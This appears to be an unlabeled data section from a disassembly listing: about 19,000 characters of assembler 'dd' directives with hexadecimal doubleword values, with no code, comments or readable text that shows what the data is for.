dd 258A2976h, 0A00074F6h, 530DE1FFh, 6731579Ch, 50F248D9h
dd 45B398Eh, 1CF4E83Bh, 6A80803Fh, 4E268D0Ah, 4F740008h
dd 0ED8C03E7h, 7D00E91Eh, 3C51AEE0h, 0F1250F6h, 23AB4056h
dd 9F53D20h, 0FC0101EAh, 22FEC9B3h, 0BE88565h, 3AFF450h
dd 7FF64269h, 20E70E32h, 3C65BE58h, 0E7215317h, 0DD121FFFh
dd 45CF0011h, 13BE0E62h, 0B0D47100h, 8C9D4792h, 3CA4070Ch
dd 5090A303h, 83D5ECBDh, 0AC68501h, 52C77853h, 0F854ECh
dd 50908603h, 4D07E924h, 83376400h, 8A84AD2Ah, 91480543h
dd 0C09B124Ah, 30413201h, 0A8FEA973h, 42BAB800h, 15730ADCh
dd 0C93D0045h, 0DA4B5A1Ch, 57004D82h, 3C47E194h, 0CFDC21h
dd 44D88871h, 0EE39FEC7h, 1AE04A30h, 0C55E9h, 9348949Bh
dd 0B681D291h, 75393Eh, 0AA51F527h, 4F42EDh, 0E31224A6h
dd 0F687477Ch, 10939504h, 7C8014BFh, 740A25Ah, 0E802F49Dh
dd 0F5687791h, 0F856C0DBh, 0D31C25FEh, 28DF582Ah, 89F20380h
dd 2CE4542h, 5C261CC0h, 405D217Eh, 183CDC18h, 10352350h
dd 5F00C212h, 0A18FC32h, 60C48554h, 0D031C4D4h, 873C7E1Bh
dd 4DAF8190h, 0EE41058h, 121760E4h, 0BD90ABCh, 0B68F0882h
dd 3740EBA0h, 523FD655h, 344380A5h, 0FC570DDBh, 867F00A8h
dd 104512B5h, 0CC03FA91h, 0CA73B817h, 6BE000E2h, 1182DE4Ah
dd 55001F62h, 0A48A3E19h, 13399Fh, 0B2EBFB54h, 9CB8C26Ch
dd 81D40938h, 2978064Fh, 58619E11h, 0F3AFC8h, 0F7DC2074h
dd 4CFDE002h, 54112300h, 83D24222h, 0D44800C1h, 0C925A7F2h
dd 0E2021975h, 74A47F72h, 8EC7E0FBh, 71F70EB4h, 85E02CF0h
dd 0E387831Ch, 500002F2h, 0FA16E98Ah, 3F930BD1h, 851F8DC3h
dd 4B14032h, 0A83A1029h, 0A27D3Bh, 631277Eh, 3C432Bh, 530C63A1h
dd 5D93CA24h, 0E01F1FE4h, 0FE3BF8h, 0B2830F28h, 308D8Bh
dd 0E81E4053h, 6B3C1219h, 1876B3F6h, 4F07F400h, 8A05C283h
dd 5F3203F5h, 0FFFA9629h, 8625DFB0h, 6A0033FAh, 0F1450B0h
dd 189F87h, 6F22832Dh, 5940EFF7h, 0BC895407h, 0FAB04975h
dd 0D1C680h, 83740567h, 724FBA68h, 0F021D605h, 0F780753Bh
dd 488063h, 74182D7Bh, 0C69F3F3Ch, 8A424B00h, 0D241652Ah
dd 478100EFh, 17C5625h, 6800625Bh, 12F03918h, 1DBDDA1Ch
dd 0C07FC9A0h, 564767B6h, 6A4CFE15h, 340015Bh, 9EC75281h
dd 772F9CCCh, 0BE053E86h, 44CA5900h, 8475F8A7h, 0FC1C400Bh
dd 0DF3A0953h, 142B080h, 743CC23Bh, 226C000Ah, 0F4CF286Eh
dd 4DE9009Fh, 254013A9h, 743AE448h, 0F74A829Dh, 60553899h
dd 0EB75949h, 611DE1ABh, 51889A38h, 790B6603h, 0C88FC743h
dd 714A610h, 3758E1A5h, 0E4069159h, 8EBD4092h, 4D786599h
dd 0EA058DECh, 0B8E0A02Fh, 0F08B67C3h, 1B49B7Dh, 5D3EEBC2h
dd 21E6AD71h, 0CB9A60CBh, 0DBC04D00h, 7C2FBADCh, 63760022h
dd 5D50EA53h, 691FC973h, 5B1FFC96h, 97B89880h, 1F86D71h
dd 679D18C2h, 0E0E22D24h, 7C7F1CD7h, 0ADD45C04h, 4980CDD8h
dd 74F45969h, 0A5270379h, 8867DD25h, 12D865ABh, 5513B2ECh
dd 20B8D0E5h, 1797EA00h, 0F8A53D23h, 15286728h, 0CCB3DF01h
dd 484666C4h, 2F55DCh, 99C76806h, 0AB6E1597h, 54B34B33h
dd 89DDD8CBh, 0A36800CFh, 0DA90E805h, 0B001E2Dh, 71D3A009h
dd 78F25274h, 12FEB4h, 0E15AE659h, 708EC6Bh, 0C71C6300h
dd 0BF0244F6h, 0C57284h, 0E28CB895h, 573FC9E4h, 13B07E00h
dd 1541FF4Dh, 7B3C0040h, 273B9591h, 7800CB69h, 7EFDDA92h
dd 90C916h, 0D302D088h, 49F3D69Dh, 18000574h, 955B1C36h
dd 24588496h, 28FFF01h, 4E1E2B2Eh, 0C1574740h, 2894200h
dd 598CF986h, 3FFCFAh, 78C89F0Ah, 9A4D1025h, 0FD45140h
dd 53B05297h, 4009EB60h, 3500DE2Ah, 8CEEF992h, 1F5888FDh
dd 43A63C24h, 2149B11h, 0D15298D0h, 8034F03Bh, 0B948A2FFh
dd 0FFC097Bh, 0E946DADCh, 4D000D3h, 0D840FD2h, 39EE0200h
dd 28ECC336h, 768390F6h, 0A350008Fh, 1466D4E2h, 3A00D845h
dd 0DB138D16h, 39A53EBh, 0BBD3FBACh, 7BE0B603h, 3C00E340h
dd 0AB866711h, 0E27D049h, 0CF467107h, 801DE800h, 4D7F0326h
dd 59C11700h, 62478CD5h, 3CD91DB6h, 58CE45D2h, 6F2A8066h
dd 103BBF86h, 233EAC45h, 4B074703h, 0B4C7E825h, 8230014h
dd 0A9A1F9CFh, 70F50212h, 2B2C1CBAh, 881D3706h, 1BAC2040h
dd 0E3D01h, 265A366Bh, 0BF4D50EDh, 0A1CD1C00h, 0A094C3C9h
dd 453055Dh, 0E1D79C4Ch, 333E818h, 0A4140800h, 0C415BB86h
dd 582BF01Dh, 5003835Dh, 78AD0364h, 0DEB014EBh, 0F1071EA8h
dd 1832825Eh, 0C04B050h, 4C9F05D3h, 80DE7E75h, 83E9D5BEh
dd 3A1D7B77h, 308F03C9h, 9D14020h, 14266Ah, 48A0AC52h
dd 2C82B718h, 663DFB98h, 8A98009Dh, 0C321C954h, 2B8E2699h
dd 71780158h, 0C4453561h, 0AD001238h, 14EB7F33h, 0B2C4396h
dd 2F847D18h, 90DDC980h, 324C826h, 3F17E3FBh, 0A1575A00h
dd 50CFFD2h, 83CD3B24h, 87D30023h, 0F210D455h, 127D600h
dd 0B018C0F1h, 24C4070Eh, 302814BDh, 40CB439h, 0B376871Dh
dd 0C884B900h, 17E902h, 0A2DD47E8h, 7E82F0BCh, 0B143A300h
dd 0F37D08E2h, 0FA3D0364h, 1EF2FF4Fh, 387FEDF8h, 81430400h
dd 0BFB31853h, 0BA0250A7h, 1EE2003Ch, 93843042h, 0D05C20F4h
dd 40DE0052h, 2C34E4A1h, 0BD8500F8h, 5938C843h, 7A000BFCh
dd 0C9535F84h, 2E8822h, 0B8C10104h, 4E603F10h, 3437BF1Fh
dd 0C7E50A03h, 6575C8FCh, 537D00FFh, 28521BC1h, 90011D45h
dd 74F685A5h, 55200F5Fh, 8B391ED1h, 0E5803AEEh, 0FDC44BAFh
dd 0F202A6FBh, 3E642C25h, 0E018425Ch, 68548Ch, 96F809A4h
dd 75FF9240h, 18492201h, 8E9BF12Fh, 4320C121h, 0C6B055h
dd 0F4C5E987h, 422B610Ah, 0E8408200h, 9A57A34Dh, 517D0332h
dd 0D444C960h, 0F77E88B0h, 3F509600h, 225BA38h, 0A786007Bh
dd 6C8331C1h, 0F000CD71h, 3624EB62h, 53FE04h, 0F7E88AFBh
dd 4B1E433Ah, 0A078756Fh, 8CE2FF03h, 11D507FBh, 0E0DE9421h
dd 7EF0E599h, 84233200h, 31D016A9h, 96544C9Eh, 4A210075h
dd 20622464h, 97EA433Ch, 18850400h, 0B2557329h, 486A02F3h
dd 2BF0F449h, 35C5CBE0h, 90A93700h, 93075DD3h, 2AE10010h
dd 5FEB5530h, 0BD008018h, 2FD73B3Eh, 0E30D72h, 730E1F3Dh
dd 2ACAC106h, 81FEBECh, 87C3F83Ah, 0E8E6E375h, 5E9F8Eh
dd 0DC102DC0h, 0F61CE881h, 16442200h, 0BC88EFC3h, 7B92004Fh
dd 84FE2D2Ah, 0E60F5053h, 0C04BAC4Dh, 29A1E0E8h, 89853F42h
dd 9CF58C81h, 0ECA83EF4h, 0DDEADAC7h, 1CBC530Eh, 0EE4B609Bh
dd 0EE4692Ch, 5427D2A5h, 89051360h, 12006BA4h, 3C9FFB5Bh
dd 1107053h, 88E22A11h, 0D9182134h, 4C0DD851h, 87493800h
dd 50A28C91h, 907515h, 8041FAD2h, 406AF633h, 30FFE21Dh
dd 902D7580h, 0F66070Bh, 5A4D3881h, 78832400h, 7400E03Ch
dd 82801E4Bh, 768F303h, 5615FC99h, 8108A023h, 4500503Eh
dd 27414C6h
dd 38F6B572h, 3CF069FCh, 24006AF0h, 0EB4EBB28h, 0FE744A5Dh
dd 1A83121Ch, 5F1F0240h, 90136574h, 72D9008Dh, 841464DBh
dd 0EB730C62h, 7839F602h, 6031B849h, 5021F8FCh, 79E7C53Fh
dd 34BA3E46h, 91005FD8h, 525AB774h, 0D5002367h, 8E037F86h
dd 5C16EB3Ch, 0DA00CB77h, 0C8D0D73h, 0D103DD33h, 7B84CF21h
dd 9C963B04h, 0E490E58Bh, 0C4C5700h, 0BE006C5Bh, 4EC426A3h
dd 265EA10h, 0D08FABBCh, 0AA406982h, 900F4916h, 770A120h
dd 6B77880Ah, 0C689AC90h, 31FC020Eh, 0CACF49C9h, 0B2C09740h
dd 0C87030FCh, 19E98800h, 0B6F28AF1h, 66182708h, 784BA077h
dd 89351209h, 440E0C34h, 0DA1C4275h, 9B803E80h, 0D2F75BD3h
dd 25D100E4h, 57AD089h, 0B928C8ECh, 4B00C4B7h, 72D54442h
dd 6B0EBh, 2ECBE1F3h, 16867799h, 0B4C30330h, 5F547Dh, 50B9B3A7h
dd 33135CEAh, 0AF530100h, 58AE9E35h, 28680FA0h, 5C60B55Fh
dd 50895294h, 59B18500h, 8A0BD123h, 0D8800002h, 0A126758h
dd 42F05F2Eh, 0F0754905h, 0B7ECA1B0h, 92BDC00h, 0F35D5AF9h
dd 79A55401h, 0E5957458h, 29FD7280h, 5BC85614h, 0D7FCD200h
dd 9857701Ah, 78402E4Ch, 6040729h, 0F44AF0A3h, 0BF00FE41h
dd 1D17BD82h, 0E6E3E80Bh, 2585002Dh, 0C65A4F78h, 733F61B2h
dd 1B770019h, 0AE933B3Ah, 591A2675h, 0BA8100DDh, 3021C2Fh
dd 86EFD81Dh, 54971100h, 3C3969Bh, 8A0A9BCh, 0D1D848EBh
dd 2A383988h, 16E6F91Bh, 52432D00h, 0E923BCC7h, 20B8F2h
dd 18583BBDh, 2F73820Fh, 4F93B200h, 22C43DAAh, 591004F0h
dd 8394E22Dh, 51B360E9h, 0D5B80CB0h, 0B9013100h, 0D75C2042h
dd 0B871E645h, 13F270B5h, 173EFE08h, 272F0039h, 0BAF7E07Eh
dd 893055FEh, 80093AF4h, 0B72009F1h, 0C58302F9h, 0FFE8B204h
dd 0CD9E567Ch, 6A513800h, 9A9C73h, 95880813h, 977CB85Ah
dd 0C5BBF400h, 1561EA0Ah, 0F1100003h, 4912510Dh, 0A4581D0Eh
dd 802C3F8Ah, 5E077562h, 0F8CA28h, 48EFE842h, 0A0E0FF96h
dd 65E4C800h, 0DFBCBA95h, 7C60000Bh, 44AE545Fh, 0AD7BE093h
dd 6972000h, 1A2643C6h, 4EB0001h, 7893DD0Dh, 540022CCh
dd 2C085011h, 1E6D799Fh, 4057F12Dh, 730989F0h, 4600C630h
dd 0F34E8DD6h, 0DE8CADh, 258B5967h, 0CBEFB91h, 5021C607h
dd 28F0B256h, 0FEADB5DDh, 76D0FB59h, 30D11E20h, 0D5C5876Bh
dd 751C5081h, 1EC339CFh, 80B1D62Bh, 0FD9B7Eh, 10E87349h
dd 1EBB92D4h, 6328100h, 8E004E4h, 0D81F00DCh, 0A8F355D3h
dd 0C4003121h, 0D6BDAEFBh, 9820A9Ah, 5FFE65CBh, 4F1A180h
dd 5802EA81h, 0B3542F78h, 2ADDE0C4h, 0F5C20216h, 5F2664A2h
dd 8A9360E0h, 831E4712h, 18446700h, 2E6689F7h, 30FC27Fh
dd 0A4504824h, 0C9F858E0h, 6205D00h, 75894EF0h, 0F64A05BCh
dd 0C0762CB4h, 0C7B3466Dh, 9D0F5000h, 1F2F2D82h, 5A901E55h
dd 0EA484097h, 0CE223746h, 750058F4h, 196577EEh, 514B011h
dd 3B398285h, 0B0AF8718h, 45807534h, 1AC5EC00h, 0EBE0176h
dd 0CA020061h, 0D9A4AF06h, 0FE730D13h, 0C7958600h, 0AD775304h
dd 5F8B00AEh, 0FB7D80C2h, 0CDEE88F0h, 2F008D7Bh, 0C715C663h
dd 0B86F110Dh, 0E4101201h, 0BCFA0282h, 7E609D2Ah, 0DA0333EAh
dd 7468C075h, 0C03FB331h, 35817A9h, 3E7995CEh, 1CE07567h
dd 0F35EE26Fh, 0DC00F5A8h, 5114F669h, 4800B7DFh, 268DD83Bh
dd 7A011A1h, 0AF07BA12h, 0D4F17174h, 7D85E454h, 5C38591Eh
dd 0CAF23F00h, 1E74032Dh, 8562CCD6h, 0C09118AAh, 645A0A94h
dd 3EC510Bh, 454500B5h, 1E05BAD4h, 5077D2Eh, 0FEAA81C4h
dd 0C0FD2FC2h, 0E3AE87h, 0CAB541Ch, 6238FE95h, 0A032D32Eh
dd 0FF22B400h, 0EE7384h, 0B0109C72h, 4BE7E968h, 8D2B60FBh
dd 91DD9500h, 8C2E63E1h, 931313F0h, 420F003Fh, 0A6B1EB70h
dd 0E7772200h, 0C75F4086h, 2C835C90h, 0C049F21Fh, 6A138C23h
dd 0B500F4EBh, 7385DB51h, 16BA0221h, 0CAB4F2h, 53222A75h
dd 0D800720Dh, 52C38A1Ah, 72865E01h, 0A76900E9h, 80D7B021h
dd 334CCD38h, 401100B1h, 742E120Ah, 94D80066h, 0E0F42201h
dd 1700FFFAh, 0C01D7525h, 0F467FE50h, 837713h, 0B2C9BF02h
dd 0B152535Ah, 8AB32100h, 80C1B75h, 64560797h, 0E0D3220Fh
dd 9E060DC9h, 5CE22B00h, 982D14E5h, 743300E9h, 4F9F6828h
dd 5EF6FB42h, 0AA195507h, 3FAF18CBh, 463264C1h, 29EC4B35h
dd 0F17B00ECh, 8BA1A490h, 82039F1Ah, 2717677Dh, 7F319177h
dd 2E7142F8h, 0A07BEh, 66A01D8Bh, 79003064h, 0F6035FF8h
dd 7AA1C6B8h, 5C97009Ch, 0D82E53A3h, 4D0B5BD0h, 0A94210h
dd 4A445A6Ch, 9BBA1DCDh, 0CBA600C3h, 0FAE6C47Fh, 2FFB9E03h
dd 0E01A57FCh, 293865h, 0D8DB3BA7h, 345D36E3h, 6C12A5EEh
dd 0BBF49Bh, 6A0FE00Eh, 0EBEC9D01h, 1A0A9900h, 0ABC48688h
dd 6753A29h, 0A1BD9000h, 0CAA73D68h, 0A8155D01h, 0B2BBFB92h
dd 0EAD7C0h, 994AD02Dh, 0A436A010h, 763E8800h, 7D540AFDh
dd 385F00BAh, 0B805D5E7h, 0EFA058CCh, 1CE2158Ch, 2CDF8900h
dd 0B50ED494h, 0B0930383h, 0F0B86D5Ah, 2B89EFB0h, 59F46A00h
dd 0E20E53F8h, 0EC480022h, 63C5035h, 0CE0FA63Dh, 0A0A11328h
dd 0A03EBC96h, 0FCA4001Ch, 60C40647h, 0F24C3468h, 7890326h
dd 0C0BBFD85h, 0BC5C58h, 0C275F803h, 0D35BC068h, 0DF29BF00h
dd 669CDC88h, 7CCF842h, 6C4617B6h, 0A034B021h, 64394C9Eh
dd 0EC62003Ch, 0D5F8101Fh, 27973A4Eh, 0F0F47AFFh, 48EE0Dh
dd 0EF38DB79h, 0E552EE19h, 8F02333Dh, 0E1644414h, 4CE36837h
dd 13AEDCCh, 54203D61h, 0F8430C7Fh, 8FA34B1h, 0C422B900h
dd 0B32BAB2Dh, 0BB580012h, 0D6154E25h, 1D7F943Bh, 49792AC0h
dd 72656B3Ah, 5E3C2466h, 36B401F3h, 302CD94Eh, 19074246h
dd 82EB9A90h, 2A230360h, 584507B6h, 0B301B7AAh, 1EE83724h
dd 62126A99h, 0B90136A7h, 4B03A045h, 4E52D0h, 7CF04C9Ah
dd 9ED4475h, 0A954F513h, 419ED900h, 1CCA56DCh, 0C01C4950h
dd 745F6547h, 0FCF161EDh, 7A037B64h, 20C37371h, 0BF69D852h
dd 78450091h, 66DDF663h, 4CFCA0D3h, 73007CFCh, 4518F99Dh
dd 0F0106D53h, 31880024h, 0C9028B62h, 3B00082Dh, 0DDD6F8E1h
dd 0AD8D79h, 28FCD489h, 9C3A7D72h, 572EEA00h, 86CA3E62h
dd 0C9113EF4h, 0EFE20683h, 26B05C78h, 5812753Dh, 9E008415h
dd 0C74A8B28h, 11E21E3Ah, 0E8C000A5h, 0C4EAEF27h, 0D22E4F00h
dd 2071740Ah, 7D7E02h, 0F9EEE7E0h, 453DB664h, 0C42A0800h
dd 0CBC70D14h, 439E00D6h, 3F816605h, 0FD0025FFh, 26E83DD2h
dd 1C6CEFh, 1E389507h, 0AA2769C4h, 0A6D6241Dh, 0E0E85A8Fh
dd 0EE3AE1B5h, 91670053h, 0C64E3E10h, 3F034F55h, 4B7AD2B1h
dd 0D875CBC9h, 0C3FA50h, 6F0032Ah, 26F3F85Bh, 80CE103Bh
dd 52E22C92h, 0A46DA7h, 0B3446BEFh, 0C308BB43h, 0CA535026h
dd 0F53B1700h, 0E68B828h, 0D2395411h, 89782B40h, 6A000AC8h
dd 0A7B052B2h, 7CA10974h, 0EAD1F4CEh, 713800EBh, 0BD5EBFAAh
dd 9007D0Eh, 5478D68h, 0FE63ECE2h, 0D52C0378h, 0A06171Dh
dd 0C20146F0h, 6900E8ECh, 1505ED39h, 0FE388934h, 65C31FBDh
dd 6581E542h, 0E0A00E6Eh, 2B00DE8Bh, 81E41C5Dh, 714FBh
dd 646885BDh, 162F8629h, 8AEAAC00h, 0E455121Ch, 4A4800F7h
dd 278358E0h, 2B3B04EBh, 5F9E9F68h, 7D19F3C0h, 0F05497h
dd 0B4517F52h
dd 38783644h, 324638h, 33D08B56h, 0FEBF6h, 80068A7Dh, 5742FF9h
dd 5C5F0A00h, 42F29007h, 0F3A00D7h, 0ABD0EC09h, 0A6000354h
dd 0FCC34A5Eh, 7C75F7F0h, 17E51753h, 42470030h, 0B8A0D73Ah
dd 0DF822900h, 0FCE488D1h, 7E3700BEh, 95EB1C7Bh, 177892F7h
dd 0DA19A10Fh, 3CA900EDh, 0FD3E8Bh, 9A708845h, 0C94F943Ah
dd 1241520Eh, 0F4538024h, 284ADCh, 6389E2C1h, 3C7B8E5Dh
dd 3B7CE800h, 5C033A78h, 1D1C003Fh, 40F61304h, 5F0B148Fh
dd 34A5A5Bh, 0F16886E4h, 6520C13Bh, 0F0A61C8Ch, 209FBD8Eh
dd 0D9B5001Ch, 301BAD96h, 0BE95D500h, 4A4D8EBFh, 687F3F73h
dd 0C49D5100h, 45EB3E70h, 34A97D0Eh, 35C07EE4h, 2147D3BDh
dd 506F00E0h, 2F58107Ah, 93F8B702h, 0FEE96E05h, 0CB010FFFh
dd 0C231A26Ah, 0C0428820h, 2E06BA34h, 0EEFF23A3h, 0E59BC05Fh
dd 0F8DC00BBh, 0BF94B054h, 5B0263D0h, 78DFE964h, 322861ACh
dd 1331803Bh, 0EFFC6C75h, 625C2300h, 0FDFB447Ah, 0BEE70361h
dd 0BB4EDF1Eh, 792C63F8h, 0F86D5E1Dh, 202ED980h, 0F72A6Bh
dd 4C7D62AEh, 7986E34Fh, 6DDCE03h, 0D8ACF63Ch, 641A53h
dd 0B38D702Eh, 14B67582h, 52509F07h, 0FBC15DCFh, 0B9EC4E78h
dd 0F88400F0h, 6BB453FEh, 74039714h, 0FABD0DA7h, 48C2F81Fh
dd 0E8830002h, 30B83AA2h, 202C264Bh, 0B501D512h, 762C4306h
dd 0F00A89D0h, 0EF6D099Bh, 0D88029FEh, 66C78B3Fh, 547E9AFCh
dd 0A9165Ch, 55FC4492h, 51930Fh, 0CF10B22h, 16F8678Bh
dd 0CFBE7503h, 0B0381ACEh, 0C0103Ah, 0FE124B1Ch, 74C9DD6h
dd 7D00ADB0h, 0CB51ACFCh, 972F10h, 4F022944h, 7E12A90Ch
dd 8F0B870Fh, 31F9802Dh, 1CE3543h, 9422274h, 0D9192436h
dd 0E910D137h, 1C85E83Ah, 83B8B73Eh, 8CEC7DC2h, 33C0EFA5h
dd 0EF57519h, 4D88982Bh, 8669680h, 553D4126h, 0EB3B9C4Bh
dd 39F98443h, 8AEA0715h, 70F8AB27h, 4B8296ACh, 4A337C00h
dd 0F2F5EB8h, 51760084h, 38F1DFABh, 413FAF98h, 2CB9C7h
dd 951DAC9Ch, 0E106097h, 5EFF483Bh, 8D1C3040h, 0DF7A0853h
dd 0C1E1500h, 0ABF656Eh, 4A4B00EBh, 42203911h, 0E526695Bh
dd 0C80001C9h, 0F32D91Bh, 79E005Ch, 830E731Eh, 8D3E0401h
dd 0B490F485h, 8074F83Fh, 0DC8265BEh, 0EDB71069h, 774BC0h
dd 155C81Eh, 0CBD52EC9h, 0A2F91600h, 64146E09h, 7507846h
dd 70965534h, 0C6B75160h, 3ED7F092h, 0FCFC73Fh, 61E9E0E5h
dd 6C79FE9Fh, 1FC5E2C4h, 0C0146A43h, 0E958C08Fh, 1CB82EF1h
dd 5C087D00h, 3F840ADh, 0B93500B4h, 0EF8B0689h, 0A5EE795Dh
dd 4B437000h, 460307C0h, 0C3E0048h, 0F02B0A33h, 0E800244Ch
dd 592556AFh, 12EB007h, 0C8471F8Ah, 0E44E4034h, 49004423h
dd 16051F2h, 71EBB1h, 37195E3Ah, 2A41775h, 50A08900h, 2ACAD555h
dd 7F230F40h, 0CF40D82Bh, 38C852EBh, 907C3903h, 0BF366425h
dd 1A296A80h, 185FE17h, 72F107A6h, 0D08E924Dh, 0EB007534h
dd 0D04AD58Bh, 20BA61h, 0E36E9E65h, 408D85E1h, 80CFAA00h
dd 423F3908h, 3A980F59h, 0FCBDE03Ch, 1B1FA2BCh, 0C8D6ADB2h
dd 8A904E07h, 0C03EE6F0h, 82060050h, 12AEF392h, 0BFFE0156h
dd 30FB6C00h, 2F144184h, 4C453E06h, 0FA950072h, 0C3F43CE9h
dd 3A00EEDBh, 100821FCh, 75188A74h, 931C0205h, 9BE842BBh
dd 40F59061h, 59C474DFh, 13305F1Fh, 0F8E895DEh, 0D9008275h
dd 202ABF22h, 7AED0Eh, 59D474BDh, 1C9AAAD7h, 5424D207h
dd 0F5407F82h, 7995ECB4h, 0FC21771h, 20860F76h, 9FAB7200h
dd 0DC5EE051h, 0EEF1B5F1h, 857C0A80h, 4190B138h, 89B62B00h
dd 276EAED2h, 8178B7h, 1DC2881Ah, 0F222287Dh, 0A84ACE00h
dd 0FDBD11B9h, 0B80B004Bh, 0A443465Ch, 10009AABh, 0BC998EECh
dd 0C7555Ah, 8870540Eh, 3C9EDF8Fh, 0FF72E300h, 5DADC815h
dd 0F9340031h, 7F1CE17Eh, 7300E90Eh, 0ECED33A5h, 0FC0C8BA9h
dd 5C490036h, 12401D4Dh, 0E00BCC7h, 590546A1h, 3D8F6F11h
dd 7222DCh, 0AF202414h, 0E8DBF93Bh, 468CF50Ah, 0DF05FE52h
dd 51C71021h, 74288D30h, 6C030337h, 0E365FDCEh, 22261993h
dd 52005D08h, 1666C4FFh, 42770004h, 0FD2AFBF8h, 111F32E3h
dd 24400846h, 0BF2B4822h, 708B0044h, 2CEB256Dh, 4E00A471h
dd 832019DFh, 79935145h, 0C0394B13h, 9216B691h, 60230400h
dd 0CF542846h, 6AC50059h, 57AD8083h, 9700E0B6h, 5FEB2CF9h
dd 117865h, 0BFE65AF1h, 0BB245818h, 7C8270BFh, 827C1CE8h
dd 2FC640A1h, 0B503A39Ch, 0D7094673h, 8115A925h, 132C010Bh
dd 204C8h, 33740B72h, 73B6C0FFh, 4F80E900h, 0CC35C937h
dd 0EC680050h, 0C70328C2h, 0D0097DCh, 66B71348h, 42F75Dh
dd 3785E9B1h, 0ED20CD6Ah, 0B551800h, 7A044908h, 5F2400D5h
dd 39076010h, 50008402h, 56404D11h, 1E0A4218h, 8069EB68h
dd 1032C765h, 481DF259h, 3FC10C50h, 9D423541h, 54B5F0h
dd 57C1564h, 51E4B816h, 0FC30D205h, 90B0897Fh, 0ABE80041h
dd 59FFDE38h, 51E2109Fh, 60F06D00h, 36F79720h, 40487A40h
dd 26513C92h, 0DC883081h, 84C95600h, 0CEAA34D6h, 7FBF60Eh
dd 1FF200Fh, 558DB13Dh, 80A54724h, 13FA8347h, 0BF089916h
dd 438CA500h, 110C648h, 0AD4A3063h, 0E8A8C40Eh, 0B2002A69h
dd 66771203h, 1DE740AAh, 7D957489h, 4FF00D80h, 2032C175h
dd 6C013Eh, 29BCC951h, 78910868h, 3C960014h, 850D2833h
dd 253E3DEDh, 0B92200DBh, 3A15D973h, 0DAFC20h, 5F13F516h
dd 0A5AF27CCh, 0FF307500h, 5D5AFC61h, 0D0FD073Fh, 0B01A37B2h
dd 0F1AFECB7h, 0BD55B00Eh, 0C5D9A02Fh, 4F94708h, 296145E4h
dd 808B8549h, 9B4482D3h, 0C489AE01h, 0F324DA12h, 84AE0E7h
dd 38913922h, 7FA551BCh, 0F812D783h, 0FD4B31E0h, 88C59701h
dd 217E3B6Ch, 6580898h, 0E0001486h, 0A9298E0Bh, 3F407DDCh
dd 82804AEFh, 1F06BA9Ah, 0C53ADA2Fh, 0D0CE05A5h, 58EC69F8h
dd 1DC7781Dh, 0C1E54043h, 7E8E0C08h, 94C5DE00h, 0BBB32927h
dd 5CB10F66h, 4A606FBFh, 95FD7A2Eh, 7ECE42ECh, 7CEB8717h
dd 0E4C2B5A0h, 43480047h, 580E11DDh, 8005104Dh, 8DFCA54Bh
dd 0A2B380FBh, 9000A45Ch, 0EE0BB33Ah, 2BEAA0h, 4B8A2FF4h
dd 74CBA8D9h, 575A0F00h, 0E8F64E0Eh, 7FED0024h, 5DC62CBCh
dd 0CF7D6D08h, 3DE2183Fh, 271F7EDBh, 444E8EFAh, 3B974014h
dd 1A1822h, 507E10B2h, 933E91ACh, 0FC147B00h, 0E0CF203h
dd 18320070h, 1BC96806h, 243EE58Dh, 45F80A7h, 27BE3816h
dd 42A900F5h, 104759FBh, 0D20E4EC6h, 20761A3Ch, 85EA1465h
dd 0ADD63BABh, 0F3CE4F04h, 36608156h, 7303E006h, 5706C00h
dd 7868CB77h, 0F5740F4Ch, 27A0B3EEh, 56247614h, 40E59D03h
dd 0B04ED74Bh, 734CC811h, 53C30042h, 49D82A21h, 770740DEh
dd 3EBC5193h, 740130E0h, 7B830063h, 5DB3C36Ch, 14000C20h
dd 81185740h, 1F1C0251h, 40084B04h, 0FA8B4507h, 14046B22h
dd 80E0F992h, 763F8680h, 0EEA002Bh, 497444F6h, 0C90AFCC7h
dd 9166D8A8h, 1CC1949Eh, 55DF10E2h, 77706871h, 60EA4Dh
dd 0D57756A2h, 0A328E853h, 0EA43D00h, 0B0744301h, 0E3BF0092h
dd 90AD9344h, 840080F3h, 1B6E7821h, 72997E4h, 0D69C0979h
dd 421C8028h, 27038C3h, 9678732Eh, 6B1EDD00h, 201018h
dd 0EB7C74A7h, 0BE433D23h, 577622E8h, 84932700h, 0C697515Bh
dd 4C7200EFh, 0D2077844h, 0F800B303h, 384E31C4h, 0E9088D9Ch
dd 0EE4B54D8h, 0CA201FF3h, 0A0594169h, 4070211Ah, 326A9B05h
dd 6CA2E407h, 0ACB0A943h, 84258Ah, 5419A457h, 4D68809h
dd 0BA442039h, 7826DC5Ah, 85CCC00h, 97948C9Ch, 80960041h
dd 14819844h, 38000988h, 1C08119Ah, 467FE8h, 109BB802h
dd 29A27436h, 8F32093Eh, 0C7A6219Ah, 0F830C458h, 0E9006C3h
dd 0C605111h, 87B009A0h, 460410Eh, 7171860h, 0A13600E8h
dd 8C1B0C02h, 1A00DC10h, 21CCB408h, 0EAD40984h, 3A47519h
dd 201F4050h, 0D8F38088h, 23D0F0DFh, 1100A081h, 4022E34h
dd 0E82F7C22h, 5446004Ch, 9C49932h, 800516Ch, 22A4913Ch
dd 5C2074h, 942C4457h, 0F8116489h, 0BC026600h, 6239DC26h
dd 100900ACh, 52E00353h, 5A0E7933h, 0AF495931h, 90C0204h
dd 0F460C124h, 7B38A320h, 0A8086164h, 0D4204137h, 0B10ECCC6h
dd 66B8CB40h, 0E8C88D2h, 980870C8h, 11DC84E0h, 0CC1D1B48h
dd 873FD9E0h, 1059E744h, 21F96050h, 2A18001Ch, 0CC29ECA8h
dd 11315408h, 2B744824h, 0BE2330h, 75D17632h, 14EC6405h
dd 4AC7ACB8h, 2670023Fh, 7A6359ACh, 0A828007Ch, 0A7C43818h
dd 5B00F008h, 0F411C081h, 0A021B15Eh, 3026295h, 4C70253Ch
dd 0A8D1409Ch, 50437089h, 2007657Eh, 58488824h, 51766CF1h
dd 74A46C80h, 0AC12DC89h, 6DFC2212h, 20462C00h, 0C64B972h
dd 58755171h, 810AA3B8h, 0D5891744h, 0B8261D00h, 1E117CC6h
dd 9E43554Ah, 0DA440B4h, 4707E817h, 0E170280Eh, 6AC24225h
dd 0A787F7D0h, 0DD010ACCh, 1C32007Ch, 0EC08B13h, 1558408Dh
dd 0C6010013h, 31181F84h, 821000Ch, 32032480h, 52E048E6h
dd 746E7500h, 20656D69h, 0E27200E4h, 83DAE76Fh, 0EAFC6101h
dd 863B3000h, 18455140h, 80112DBFh, 80191B57h, 0B5413938h
dd 57805E5Ch, 0DEC0120h, 0A00A1D55h, 58C5C14Eh, 319C0C56h
dd 0F8AE31B8h, 1007D430h, 1FC1F927h, 0F3911C23h, 0E20AD81Eh
